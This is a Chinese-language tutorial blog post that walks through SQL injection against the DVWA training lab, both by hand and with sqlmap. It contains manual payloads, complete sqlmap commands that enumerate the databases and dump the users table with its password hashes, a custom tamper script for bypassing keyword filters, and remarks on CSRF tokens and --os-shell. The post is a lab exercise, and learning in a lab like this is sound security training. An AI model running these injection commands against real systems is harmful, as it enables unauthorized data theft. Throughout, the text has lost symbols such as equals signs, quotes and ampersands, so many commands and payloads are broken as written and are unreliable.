
做渗透测试如果手里只有 sqlmap 一把梭哈那碰上真实目标大概率要翻车但反过来连 DVWA 靶场里的 SQL 注入都没用 sqlmap 完整跑过一遍后面做自动化测试也容易抓瞎。DVWADamn Vulnerable Web Application是目前最常用的漏洞训练环境自带 SQL 注入、XSS、CSRF、文件包含这些基础漏洞sqlmap 又是公认最成熟的自动化注入工具。这篇文章就按我自己的实操路径来写从 DVWA 靶场搭建、手工判断注入点到 sqlmap 打 Low/Medium/High 三个等级再到常见报错和绕过姿势尽量让拿到文章的人能照着复现。1. 搭建靶场之前先把工具链整理明白1.1 DVWA 靶场怎么搭最省事我第一次搭 DVWA 的时候也纠结过是用 XAMPP 还是 Docker。后来实验多了还是推荐 Docker原因很直接干净、可重置、不用折腾 PHP 版本。以 Kali 或任意一台装了 Docker 的机器为例最简单的启动方式是直接拉社区维护好的镜像docker pull vulnerables/web-dvwa docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa访问 8080 端口就能看到 DVWA 的登录页。这里有个容易被新手忽略的点很多人拉完镜像启动后登录页面会提示数据库初始化失败或者登录后一直卡在一个页面。这是因为容器里的 MySQL 可能没完全就绪或者配置文件里的数据库名、密码没对上。如果不想用 Docker也可以把 DVWA 源码放到 XAMPP 的 htdocs 目录下再导入一下自带的 database.sql。两种方式都行但 Docker 在“打坏了就重来”这件事上真的省心适合反复练习。1.2 sqlmap 到底是装 Kali 还是自己编译sqlmap 在 Kali 里是自带的直接终端敲sqlmap --version就能确认。如果你用的不是 Kali也别慌它本质上是一个 Python 写的命令行工具拉源码就能跑git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version注意新版的 Kali 可能默认 Python 3sqlmap 也已经全面支持 Python 3。我自己更习惯直接用python sqlmap.py而不是加 alias因为这样能确保每次跑的都是当前目录下这个最新的源码版本。网上搜“sqlmap下载”会出来一堆打包好的版本我不建议用那种直接从 GitHub 拉是最靠谱的更新也方便。1.3 初始化 DVWA 和安全等级切换登录 DVWA 的默认账号是admin密码是password。登录进去后第一件事不是急着找 SQL 注入页面而是先到左侧菜单里找到 “DVWA Security”把安全等级切换到 Low。这个等级控制的是漏洞代码的过滤强度Low完全没有防护直接拼接 SQL。Medium加了一点转义和 POST 传参但依然有绕过空间。High加入 Token、类型校验甚至参数化查询难度明显提升。新手建议从 Low 开始Low 过关后再切 Medium。很多人一上来就奔着 High 去结果 sqlmap 跑半天什么也探不出来然后以为工具不行其实是等级设置的问题。2. 手工注入先探路判断注入点的闭合方式和注入类型2.1 从 URL 参数开始找可疑点sqlmap 这种自动化工具虽然强但如果我连目标参数是怎么进 SQL 的都不清楚跑出来的结果也不敢信。所以在让 sqlmap 跑之前我习惯先用浏览器人工看一遍。DVWA 的 SQL Injection 页面是一个输入框提示输入 User ID输入 1 后提交URL 会变成类似http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit响应里会显示 First name 和 Surname。这个id参数就是最经典的拼接型注入点。Low 等级的源码大概长这样$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;看到没有这个$id被直接放进了单引号包裹的 SQL 语句里没有任何过滤。这时候我只需要让输入的内容提前闭合单引号就能改变整条 SQL 语义。2.2 用单引号和布尔判断确认注入手测的第一步是输入一个单引号试试id1如果页面报错而且是类似You have an error in your SQL syntax的 MySQL 错误那就基本说明这个参数拼接进了 SQL闭合方式就是单引号。第二步用布尔恒真和恒假判断id1 and 11 id1 and 12如果第一个有正常数据第二个显示为空或报错那注入点基本实锤而且类型可以是布尔盲注也可以是普通联合查询注入。这里我特别想说单引号和布尔判断这两步虽然土但非常重要。很多人一上来就让 sqlmap 跑-u遇到防护严一点的站点工具会因为 payload 被过滤或者无法区分响应而空跑几小时。2.3 简单判断查询语句的字段数判断字段数的经典方法是 ORDER BY 排序。比如id1 ORDER BY 1-- - id1 ORDER BY 2-- -如果 ORDER BY n 报错说明当前查询没有这么多字段。在 DVWA 的 low 等级里users 表查询的是first_name, last_name所以到 2 还是正常的到 3 就会报错。这个步骤决定了后面 UNION SELECT 能不能对上字段数。sqlmap 的 UNION 检测本质上也在做类似的事情只是它把细节封装了。3. sqlmap 初战 Low 等级一条命令拿到全部数据3.1 命令格式与 Cookie 处理手工确认注入点存在后就可以让 sqlmap 上场了。Low 等级最简单的 sqlmap 命令是sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitylow --batch这里最容易被忽略的是 Cookie。DVWA 没有登录会话的情况下直接访问漏洞页面会自动跳回 login.phpsqlmap 爬到的就是个登录页啥也测不出来。所以必须把浏览器里登录后的 Cookie 带上至少带PHPSESSID。如果嫌手动复制 Cookie 麻烦也可以用浏览器插件导出或者干脆把完整的 Cookie 字符串从 DevTools 的 Network 面板里复制。securitylow这个 Cookie 通常也会在登录后生成建议一起带上。3.2 识别注入类型的输出怎么看命令跑起来后sqlmap 会先发一堆测试 payload然后输出类似Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id1 AND 80208020-- -这表示它已经确认了注入点并且检测到了布尔盲注。接着还会继续测试 error-based、UNION query、time-based blind 等类型。不要只扫一眼就完事这些信息对判断当前注入点有没有 WAF、能不能用 UNION 注入非常有价值。比如看到UNION query检测成功说明这个环境大概率可以用联合查询快速读数据如果只检测到time-based blind说明响应里没有明显回显只能靠时间差来判断。3.3 一步步爆库名、表名、字段名和数据确认注入点后接下来就是用 sqlmap 拿数据。很多初学者一上来就--dump-all我建议还是分步来尤其是排查问题的时候。先看数据库名sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitylow --dbs --batch这会列出所有数据库DVWA 默认的数据库名就是dvwa。拿到库名后再看表sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitylow -D dvwa --tables --batchusers 表是最值得看的继续看字段sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitylow -D dvwa -T users --columns --batch最后直接导出数据sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitylow -D dvwa -T users --dump --batch跑完之后你会看到user_id、user、password、avatar等字段其中 password 是 MD5 值。DVWA 的默认密码基本都能在一些 hash 库里直接查到这也是一个提醒弱口令加弱哈希在真实环境里等于裸奔。3.4 sqlmap 常用参数速查表网上很多文章把 sqlmap 参数列得很长真正高频用到的其实就这些参数作用-u URL指定 URL 注入点--dataid1使用 POST 方式传参--cookie...设置登录或会话 Cookie--batch默认选项不再逐个询问--dbs枚举所有数据库-D 库名 --tables枚举指定数据库下的表-T 表名 --columns枚举指定表下的字段--dump导出数据--techniqueBEUSTQ指定检测技术B是布尔、E是报错、U是联合、S是堆叠、T是时间--level3 --risk2提高检测深度和风险等级--tamperspace2comment使用 tamper 脚本绕过过滤--dbmsmysql指定后端数据库类型加速检测有一点要提醒--level和--risk不是越大越好。risk3里包含一些可能造成数据变更的 payload在靶场还好在真实授权测试里要格外克制。默认的risk1对大多数手工确认过的注入点已经够用了。4. 升级到 Medium/Highsqlmap 高等级绕过的实战4.1 Medium 和 Low 的过滤差异把 DVWA Security 切到 Medium 后继续跑同一个命令大概率会失败。我身边的初学者遇到这种情况第一反应是“sqlmap 坏了”其实不是。Medium 等级和 Low 最大的区别有三点参数从 GET 变成了 POST。输入经过了mysqli_real_escape_string之类的转义。查询语句不再用单引号包裹数值。对应源码大概是这样$id mysqli_real_escape_string($con, $_POST[id]); $query SELECT first_name, last_name FROM users WHERE user_id $id;;注意这里的$id被直接拼进了 SQL没有任何引号。也就是说1 and 11这种带引号的 payload 会被转义但1 and 11这种数值型注入依然成立。所以 Medium 等级看起来加了一堆防护实际上换了个姿势照样能打。4.2 用 POST 参数继续打sqlmap 打这种参数点只要把传参方式从 URL 改成 POST 就行sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ --dataid1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx; securitymedium --batch注意 URL 里的/sqli/后面没有了?id1SubmitSubmit因为参数已经交给--data了。sqlmap 会自动处理 POST body并重新探测注入类型。跑完以后输出的 payload 会变成类似id1 AND 12341234这种没有引号的格式这就是它在模拟数值型注入。4.3 双写绕过和 tamper 脚本的使用再往后走很多 CTF 或练习题会模拟“过滤了关键字”的情况常见的手段是双写绕过。原理也很简单如果后端只把select替换成空字符串那selselectect会变成select最终执行时还是关键字。sqlmap 对这种场景不是让你手动改 payload而是支持--tamper参数。常用脚本有sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxxxxxxxxx --tamperspace2comment --batchspace2comment会把空格替换成/**/这在很多 WAF 下能绕过空格过滤。更针对“双写过滤”的写法可以自己写一个 tamper#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ PRIORITY.LOW def tamper(payload, **kwargs): return payload.replace(SELECT, SELSELECTECT).replace(UNION, UNIOUNIONN)放在 sqlmap 的tamper目录下运行时指定--tamper自定义文件名就能生效。这个脚本我在自己的靶场里验证过只适用于把关键字先删一次的过滤逻辑别到处乱套。双写绕过其实是一次很好的提醒sqlmap 不是万能的遇到具体过滤逻辑时还是要回到代码和响应里去分析再决定是改 tamper 还是手动注入。4.4 High 等级下 sqlmap 还能做什么High 等级就有点不一样了。DVWA 在 High 里不仅加了 Token 校验还对输入做了is_numeric判断甚至在部分版本里改成了参数化查询。sqlmap 直接打通常会出现“无法注入”或一直跳 Token 错误。这时候我的建议是先去看源代码搞明白是不是参数化查询。如果是那 SQL 注入本身已经不存在硬用 sqlmap 是浪费时间。如果不是要带上完整的请求流程包括 token 的获取和提交。sqlmap 有一个--csrf-token参数可以指定 token 字段名让它每次请求前自动提取。如果整个页面都依赖会话状态还需要把 Cookie 和 token 配合好。High 等级真正想练的其实是“不要盲目的工具依赖”。sqlmap 能自动检测很多漏洞但面对完整防护时还是得靠人判断。把 Low 和 Medium 玩明白再去看 High收获会比一开始就硬碰硬大得多。5. 从原理上理解 SQL 注入探测机制5.1 布尔盲注的判定依据sqlmap 的原理说穿了并不神秘它就是在疯狂发请求然后根据响应差异判断猜测是否成立。布尔盲注的典型判断是id1 AND 11-- - id1 AND 12-- -如果AND 11时页面正常AND 12时页面内容为空或者明显不同那就说明攻击者可以通过布尔条件“问”数据库问题。比如逐个字符猜数据库名长度再猜每个字符的 ASCII 值。sqlmap 的高明之处是它会把这种猜解过程自动化并且统计响应长度、内容哈希、状态码等指标。我在 Low 等级跑完看到boolean-based blind时脑子里要立刻想到它一定在用类似AND 80208020这样的 payload 做比较。5.2 error/union/time 注入为什么也能被自动化除了布尔盲注sqlmap 还会检测报错注入、联合查询注入和时间盲注。error-based通过extractvalue、updatexml这类函数让数据库把错误信息回显在页面上。union-based先判断字段数再用UNION SELECT直接并接查询结果。time-based当页面没有任何回显差异时用SLEEP(5)判断目标是否执行了 payload。sqlmap 默认会按顺序尝试这些技术。输出里可能显示多种 type说明这个注入点很“宽松”。如果只有 time-based那就意味着请求响应里所有内容基本不变只能用时间差来判断这类注入在真实环境里最慢也最容易超时。5.3 为什么 sqlmap 有时会误判很多初学者把 sqlmap 的输出当成圣旨其实它误判的情况挺常见的。比如目标页面本身会返回动态内容sqlmap 可能在统计响应差异时把一个正常变化当成注入迹象。再比如 cookie 过期或者登录状态丢失sqlmap 会一直爬到登录页最后报出一些匪夷所思的结果。所以我一直强调跑 sqlmap 之前最好手工确认注入点。不是不信任工具而是工具返回的结果需要人工交叉验证。至少在 DVWA 靶场里你完全可以用手工 payload 去复现 sqlmap 的检测结果。6. 常见问题与排错实录6.1 “无法登录”“Cookie 不对”怎么办症状sqlmap 扫了半天结果页面输出全是 login.php 的跳转或者提示 “invalid cookie”。原因基本是 DVWA 没识别到登录会话。解决办法是打开浏览器登录 DVWA 并切到 Low 等级然后从 DevTools 里复制完整的 Cookiesqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的值; securitylow --batch如果你是登录后才复制的 Cookie基本就不会弹登录跳转了。我见过有人直接把浏览器地址栏里的 URL 拷给 sqlmap但不带 Cookie结果永远在第一步失败。6.2 sqlmap 报“no injection point”怎么排查如果手工确认过注入sqlmap 还是报不出注入点从这几方面查检查 URL 是否带上了?id1SubmitSubmit如果漏了Submit参数页面可能不会正常返回数据。检查等级是不是 MediumMedium 是 POST 参数必须加--dataid1SubmitSubmit。检查是否因为 token 或 cookie 导致每次请求都被拦截。可以尝试在 URL 参数后面手动标记注入点id1*让 sqlmap 只测这个位置。我自己最常犯的错就是忘记把securitymedium的 Cookie 更新导致 sqlmap 还在用 low 的 payload 测 medium 环境。切了等级后一定要刷新页面让新等级写入 Cookie。6.3 扫描超时和误报的处理跑时间盲注的时候如果网络稍微不稳定sqlmap 很容易超时。可以通过参数放宽请求和重试设置sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDxxx; securitylow --timeout30 --retries2 --batch另外--threads不是越大越好。拿 DVWA 本地环境来说默认单线程已经很够用开太多线程反而会让 PHP 服务响应不稳定导致 sqlmap 误判。6.4 关于 --os-shell 文件读写的老问题很多文章都会提--os-shell说可以直接拿 shell。我不建议在 DVWA 新手阶段把这个当成重点原因有两个它对 MySQL 配置有要求比如secure_file_priv必须允许写文件还要知道网站的绝对路径。在真实授权测试里直接尝试文件读写风险很高而且很可能触发告警。在靶场里真的想试可以先用--sql-shell看看能不能执行 SQL 语句再一步步尝试写文件。别一上来就想着 os-shell把 SQL 注入的基础打牢比什么都重要。7. 最后说点经常被忽略的经验我在实际测试里最大的体会是sqlmap 更像是一个高效的“搬运工”它能把 SQL 注入的利用过程自动化但它不会替你做情报收集、不会替你理解业务逻辑更不会替你对结果负责。真正值钱的是你手工注入时对闭合方式、字段数、回显位置的敏感度以及拿到 sqlmap 结果后能不能看懂它为什么这样判断。如果你刚开始学 sqlmap我的建议很简单先在 DVWA Low 等级把--dbs、--tables、--columns、--dump这一套命令跑熟悉然后切到 Medium 自己写一次 POST 参数的命令最后再去看 tamper 脚本。中间遇到“扫不出来”的问题别急着换工具先回到浏览器里手工探一次往往答案就藏在源码里。还有一个实操小技巧sqlmap 跑完会生成文件保存在~/.local/share/sqlmap/下里面记录了目标 URL、日志和输出数据。有时候想复盘这次测试过程直接看这些文件比重新跑一遍命令更方便。只要你愿意坚持在靶场里多做几轮这些操作就会变成肌肉记忆遇到真实环境里的 SQL 注入也不会慌。